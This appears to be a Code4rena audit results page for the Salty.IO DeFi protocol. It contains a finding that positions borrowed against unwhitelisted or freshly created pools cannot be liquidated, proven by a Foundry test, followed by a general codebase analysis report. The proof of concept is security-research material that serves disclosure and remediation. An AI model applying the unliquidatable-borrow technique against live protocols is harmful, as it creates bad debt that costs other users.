Salty.IO - 0xHelium's results

Judge has assessed an item in Issue #418 as 2 risk. The relevant finding follows:

When a pool gets unwhitelisted users are prevented from depositing into the depreceated pool and increasing their share.This is to prevent further trading/borrowing activities for that pool. However existing users that have already deposited in that pool without borrowing usds against their collateral or withdrawing can still borrow usds from the unwhitelisted pool with no risk of being liquidated as liquidations will fails in 1.unwhitelisted pools, and 2.freshly created pools. Liquidations can fails for one core reason:

The pool lack enough liquidity to cover dust amount required to liquidate an user. And this core reason can arise from various situations The underlying pool were unwhitelisted so existing borrows repaid and withdrew their collaterals, liquidatable users were liquidated and now there is no activity for that pool so it remains only <= dust amounts in that pool. The pool have just been created so first borrower position cannot be liquidated because their is not enough liquidity left to cover dust after liquidity removal.Note that this is only possible if he is the only borrower, after another borrower borrows , first borrower can borrow but the very last borrower position remaining to be liquidated will always fails to be liquidated. I have wrote a PoC to simulate liquidating a position when pool doesn't own enough liquidity to cover dust after liquidity removal for both an active pool (first depositor) and an unwhitelisted pool that have <= dust amount left.

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L95

Vulnerability details

Impact

When a pool gets unwhitelisted users are prevented from depositing into the depreceated pool and increasing their share.This is to prevent further trading/borrowing activities for that pool. However existing users that have already deposited in that pool without borrowing usds against their collateral or withdrawing can still borrow usds from the unwhitelisted pool with no risk of being liquidated as liquidations will fails in 1.unwhitelisted pools, and 2.freshly created pools. Liquidations can fails for one core reason:

• The pool lack enough liquidity to cover dust amount required to liquidate an user. And this core reason can arise from various situations

1. The underlying pool were unwhitelisted so existing borrows repaid and withdrew their collaterals, liquidatable users were liquidated and now there is no activity for that pool so it remains only <= dust amounts in that pool.
2. The pool have just been created so first borrower position cannot be liquidated because their is not enough liquidity left to cover dust after liquidity removal.Note that this is only possible if he is the only borrower, after another borrower borrows , first borrower can borrow but the very last borrower position remaining to be liquidated will always fails to be liquidated. I have wrote a PoC to simulate liquidating a position when pool doesn't own enough liquidity to cover dust after liquidity removal for both an active pool (first depositor) and an unwhitelisted pool that have <= dust amount left.

Proof of Concept

Copy and paste this code in side a freshly created test file

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "../../price_feed/tests/ForcedPriceFeed.sol";

contract TestBorrowFromUnwhitelistedPool is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

	bytes32 public collateralPoolID;


	constructor()
		{
		// If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
		// Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
		if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
			initializeContracts();

		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		grantAccessDeployer();
		grantAccessDefault();

		finalizeBootstrap();

		vm.prank(address(daoVestingWallet));
		salt.transfer(DEPLOYER, 1000000 ether);


		collateralPoolID = PoolUtils._poolID( wbtc, weth );

		// Mint some USDS to the DEPLOYER
		vm.prank( address(collateralAndLiquidity) );
		usds.mintTo( DEPLOYER, 2000000 ether );
		}

        function _readyUser( address user ) internal
		{
		uint256 addedWBTC = 1000 * 10 ** 8 / 4;
		uint256 addedWETH = 1000000 ether / 4;

        // Deployer holds all the test tokens
		vm.startPrank( DEPLOYER );
		wbtc.transfer( user, addedWBTC );
		weth.transfer( user, addedWETH );
		vm.stopPrank();

//		console.log( "WBTC0: ", wbtc.balanceOf( user ) );

		vm.startPrank( user );
		wbtc.approve( address(collateralAndLiquidity), type(uint256).max );
        weth.approve( address(collateralAndLiquidity), type(uint256).max );
		usds.approve( address(collateralAndLiquidity), type(uint256).max );
		salt.approve( address(collateralAndLiquidity), type(uint256).max );
		usds.approve( address(collateralAndLiquidity), type(uint256).max );
		vm.stopPrank();
		}


    function setUp() public
    	{
    	_readyUser( DEPLOYER );
		_readyUser( alice );
		_readyUser( bob );
		_readyUser( charlie );
    	}

        function _crashCollateralPrice() internal
		{
		vm.startPrank( DEPLOYER );
		forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 54 / 100);
		forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 54 / 100 );
			vm.stopPrank();
		}

        function test_BorrowFromUnwhitelistedPool_AndLiquidatePositionImpossible_WhenPoolUnwhitelisted() public {

		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 );

		assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
		assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
		assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

		// Total needs to be worth at least $2500
		uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
		uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

		(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
		assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" );
		assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" );

		// Alice will deposit collateral and borrow max USDS
		vm.startPrank(alice);
		collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

		uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
		assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" );

		// Deposit again
		vm.warp( block.timestamp + 1 hours );
		collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

		//Account for both deposits
		depositedWBTC = depositedWBTC * 2;
		depositedWETH = depositedWETH * 2;
		vm.stopPrank();

		vm.warp( block.timestamp + 1 hours );


		vm.startPrank(alice);
		maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

		vm.startPrank(alice);
		vm.warp( block.timestamp + 1 hours);
		maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
		vm.stopPrank();
        
        // unwhitelist the pool
        // in normal conditions every liquidatable user have been liquidated and most users should withdraw their asset from the pool
        // All these operations will under normal conditions bring the pool reserves into DUST state
        // also note that borrowing should not be possible on a unwhitelisted pool
        vm.startPrank( address(dao) );
        poolsConfig.unwhitelistPool( pools, wbtc, weth);
        vm.stopPrank();
        
        // alice borrow from unwhitelisted pool
        vm.startPrank(alice);
        collateralAndLiquidity.borrowUSDS( maxUSDS );
        vm.stopPrank();

		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );

		uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
		assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" );

		{
		uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);

		uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
		assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" );

		// Borrowed USDS should be about 50% of the aliceCollateralValue
		assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" );
		assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" );
		}

		// Artificially crash the collateral price
		_crashCollateralPrice();

		// Delay before the liquidation
		vm.warp( block.timestamp + 1 days );


		// Liquidate Alice's position
		vm.prank(bob);

        // this should fail because there is not enough liquidity in unwhitelisted pool to cover min dust amount
        vm.expectRevert( "Insufficient reserves after liquidity removal");
		collateralAndLiquidity.liquidateUser(alice);
		

        // assert that alice is still holding borrowed USDS
		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );
}

         function test_BorrowFromWhitelistedPool_AndLiquidatePositionImpossible_WhenPoolHaveOnlyOneBorrowerRemaining() public {

		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 );

		assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
		assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
		assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

		// Total needs to be worth at least $2500
		uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
		uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

		(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
		assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" );
		assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" );

		// Alice will deposit collateral and borrow max USDS
		// We will use only alice to simulate first depositor
		vm.startPrank(alice);
		collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

		uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
		assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" );

		// Deposit again
		vm.warp( block.timestamp + 1 hours );
		collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

		//Account for both deposits
		depositedWBTC = depositedWBTC * 2;
		depositedWETH = depositedWETH * 2;
		vm.stopPrank();

		vm.warp( block.timestamp + 1 hours );


		vm.startPrank(alice);
		maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

		vm.startPrank(alice);
		vm.warp( block.timestamp + 1 hours);
		maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
		vm.stopPrank();
        
        
        // alice borrow from whitelisted pool
        vm.startPrank(alice);
        collateralAndLiquidity.borrowUSDS( maxUSDS );
        vm.stopPrank();

		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );

		uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
		assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" );

		{
		uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);

		uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
		assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" );

		// Borrowed USDS should be about 50% of the aliceCollateralValue
		assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" );
		assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" );
		}

		// Artificially crash the collateral price
		_crashCollateralPrice();

		// Delay before the liquidation
		vm.warp( block.timestamp + 1 days );


		// Liquidate Alice's position
		vm.prank(bob);

        // this should fail because there is not enough liquidity in  a whitelisted pool to cover min dust amount
        vm.expectRevert( "Insufficient reserves after liquidity removal");
		collateralAndLiquidity.liquidateUser(alice);
		

        // assert that alice is still holding borrowed USDS
		assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );
}
}

and run the tests using:

 COVERAGE="yes" NETWORK="sep" forge test --match-test test_BorrowFromUnwhitelistedPool_AndLiquidatePositionImpossible_WhenPoolUnwhitelisted  -vvv --rpc-url https://rpc.sepolia.org

And

 COVERAGE="yes" NETWORK="sep" forge test --match-test function test_BorrowFromWhitelistedPool_AndLiquidatePositionImpossible_WhenPoolHaveOnlyOneBorrowerRemaining  -vvv --rpc-url https://rpc.sepolia.org

Tools Used

Manual review, foundry

Recommended Mitigation Steps

First do not allow borrowing from unwhitelisted pools. Second DAO should commit to deposit dust amount itself into pools to ensure protocol availability and smoothness

Assessed type

ERC20

	require( address(token) != address(exchangeConfig.wbtc()), "Cannot unwhitelist WBTC" );
	require( address(token) != address(exchangeConfig.weth()), "Cannot unwhitelist WETH" );

Salty.io Analysis reports

Note for sponsor to contextualize the analysis

The following analysis should be taken with the following in mind:

• Most of the recommendation are after the codebase overview, so there is where you should look at.
• The following analysis reports of this codebase mainly adds lots of personal recommandation to improve said codebase.
• Sponsor can use the visual representation to improve their docs and use the recommandations to improve the codebase.

Codebase Overview

Salty.IO is a Decentralized Exchange on Ethereum which uses Automatic Atomic Arbitrage (AAA) to generate yield and provide Zero Fees on all swaps.

With AAA, market inefficiencies are arbitraged at swap time to create profits - which are then distributed to liquidity providers and stakers and used to form Protocol Owned Liquidity (POL) for the DAO.

Additionally, Salty.IO provides USDS, an overcollateralized ERC20 stablecoin native to the protocol which uses WBTC/WETH LP as collateral.

Technical overview

The Salty.IO codebase is divided up into the following folders: /arbitrage - handles searching for arbitrage opportunities at user swap time with the actual arbitrage swaps being done within Pools.sol itself. As seen in the above image , we can conclude that swaping token1 -> token2 following the inverse route as swapping token2 -> token1 This mechanism is gas efficient in theory, but in practice it's prone to sandwich attacks by MEVs. Consider the scenario below:Arbitrage is following WETH-> WBTC-> SALT-> WETH path, A mev can just buy some WBTC to increase the price prior to swapping WETH-> WBTC and sell after the swapping to make profits. To remediate consider adding a slippage protection to the arbitrage

/dao - handles creating governance proposals, voting, acting on successful proposals and managing POL (Protocol Owned Liquidity). DAO adjustable parameters are stored in ~Config.sol contracts and are stored on a per folder basis.

/launch - handles the initial airdrop, initial distribution, and bootstrapping ballot (a decentralized vote by the airdrop recipients to start up the DEX and distribute SALT).

/pools - a core part of the exchange which handles liquidity pools, swaps, arbitrage, and user token deposits (which reduces gas costs for multiple trades) and pools contribution to recent arbitrage trades (for proportional rewards distribution).

/price_feed - implements a redundant price aggregator (initially using Chainlink, Uniswap v3 TWAP and the Salty.IO reserves) to provide the BTC and ETH prices used by the overcollateralized stablecoin framework.

/rewards - handles global SALT emissions, SALT rewards (which are sent to liquidity providers and stakers), and includes a rewards emitter mechanism (which emits a percentage of rewards over time to reduce rewards volatility).

/stable - includes the USDS contract and collateral functionality which allows users to deposit WBTC/WETH LP as collateral, borrow USDS (which mints it when borrowed), repay USDS (which burns it) and allow users to liquidate undercollateralized positions.

/staking - implements a staking rewards mechanism which handles users receiving rewards proportional to some "userShare".What the userShare actually represents is dependent on the contract that derives from StakingRewards.sol (namely Staking.sol which handles users staking SALT, and CollateralAndLiquidity.sol which handles users depositing collateral and liquidity).

/ - includes the SALT token, the default AccessManager (which allows for DAO controlled geo-restriction) and the Upkeep contract (which contains a user callable performUpkeep() function that ensures proper functionality of ecosystem rewards, emissions, POL formation, etc).

High level schema

At the highest level Salty.io can be summarized to a marketplace for lending, staking, decentralized exchange, and DAO as seen in the following schema.

Codebase weaknesses

• As seen in the above image , we can conclude that swaping token1 -> token2 following the inverse route as swapping token2 -> token1 This mechanism is gas efficient in theory, but in practice it's prone to sandwich attacks by MEVs. Consider the scenario below: Arbitrage is following WETH-> WBTC-> SALT-> WETH path, A mev can just buy some WBTC to increase the price prior to swapping WETH-> WBTC and sell after the swapping to make profits. To remediate consider adding a slippage protection to the arbitrage
• Codebase is not fully decentralized as it leverage the DAO to make some decisions in the protocol, this can be remediated by making the protocol fully decentralized as it will bring more trust among users; The DAO model can still be manipulated through heavy voting power. Consider implementing a strong mechanism to prevent a single person from owning all the votes proposals.
• Codebase unwhitelist some markets for some reasons, consider verifying that users cannot still borrow from the depreceated market before shutting them down, because this can incur bad debt for the protocol.

Codebase strenghs

• Codebase is inovating on available AMM to create a new type that incur 0 fees for swapping, especially by implementing an arbitrage into the dex.
• Codebase is using a price aggregator with multiples price source to ensure that at least 2 feeds returns the same price, this design is secure but in some edge cases it can be bypassed when chainlink return the min price while asset price dropped below the min price

	function _aggregatePrices( uint256 price1, uint256 price2, uint256 price3 ) internal view returns (uint256)
		{
		uint256 numNonZero;

		if (price1 > 0)
			numNonZero++;

		if (price2 > 0)
			numNonZero++;

		if (price3 > 0)
			numNonZero++;

		// If less than two price sources then return zero to indicate failure
		if ( numNonZero < 2 )
			return 0;

		uint256 diff12 = _absoluteDifference(price1, price2);
		uint256 diff13 = _absoluteDifference(price1, price3);
		uint256 diff23 = _absoluteDifference(price2, price3);

		uint256 priceA;
		uint256 priceB;

		if ( ( diff12 <= diff13 ) && ( diff12 <= diff23 ) )
			(priceA, priceB) = (price1, price2);
		else if ( ( diff13 <= diff12 ) && ( diff13 <= diff23 ) )
			(priceA, priceB) = (price1, price3);
		else if ( ( diff23 <= diff12 ) && ( diff23 <= diff13 ) )
			(priceA, priceB) = (price2, price3);

		uint256 averagePrice = ( priceA + priceB ) / 2;

		// If price sources are too far apart then return zero to indicate failure
		if (  (_absoluteDifference(priceA, priceB) * 100000) / averagePrice > maximumPriceFeedPercentDifferenceTimes1000 )
			return 0;

		return averagePrice;
		}

• Codebase is well structured and natspec and comments were very detailled and helpfull.

Systemic risk

• The DAO approach is a backdoor that can be exploited by a single entity by simply owning a large amount of voting power over other users. Consider a stric check for votes power to not exceed a threshold in order to avoid manipulation.
• The system relies on users calling a keeper function to keep things healthy, this have to be considered however: what if no user call that function especially if gas fees become so high on ethereum and calling it becomes unprofitable ? what will happen ? Protocol should consider calling performUpkeep themselves in certain scenario.

function performUpkeep() public nonReentrant
		{
		// Perform the multiple steps of performUpkeep()
 		try this.step1() {}
		catch (bytes memory error) { emit UpkeepError("Step 1", error); }

 		try this.step2(msg.sender) {}
		catch (bytes memory error) { emit UpkeepError("Step 2", error); }

 		try this.step3() {}
		catch (bytes memory error) { emit UpkeepError("Step 3", error); }

 		try this.step4() {}
		catch (bytes memory error) { emit UpkeepError("Step 4", error); }

 		try this.step5() {}
		catch (bytes memory error) { emit UpkeepError("Step 5", error); }

 		try this.step6() {}
		catch (bytes memory error) { emit UpkeepError("Step 6", error); }

 		try this.step7() {}
		catch (bytes memory error) { emit UpkeepError("Step 7", error); }

 		try this.step8() {}
		catch (bytes memory error) { emit UpkeepError("Step 8", error); }

 		try this.step9() {}
		catch (bytes memory error) { emit UpkeepError("Step 9", error); }

 		try this.step10() {}
		catch (bytes memory error) { emit UpkeepError("Step 10", error); }

 		try this.step11() {}
		catch (bytes memory error) { emit UpkeepError("Step 11", error); }
		}

Audit approach

• Day1: Read the docs and understand the protocol, i did some research to understand AMM in deep with all the technical concepts such as arbitrage lending borrowing, price aggregator etc...
• Day2: Delve deep into the codebase to get a general code architecture understanding. Here i try to understand the code architecture to get a good grasp of the codebase, in other words i made myself familiar with the codebase.
• Day3: Delve more deeper into the smarts contracts to understand the code in more deepness. Here i start finding some issues and setting them aside to write the report after i have some time.
• Day4: Compile the findings and write the reports

Time spent:

22 hours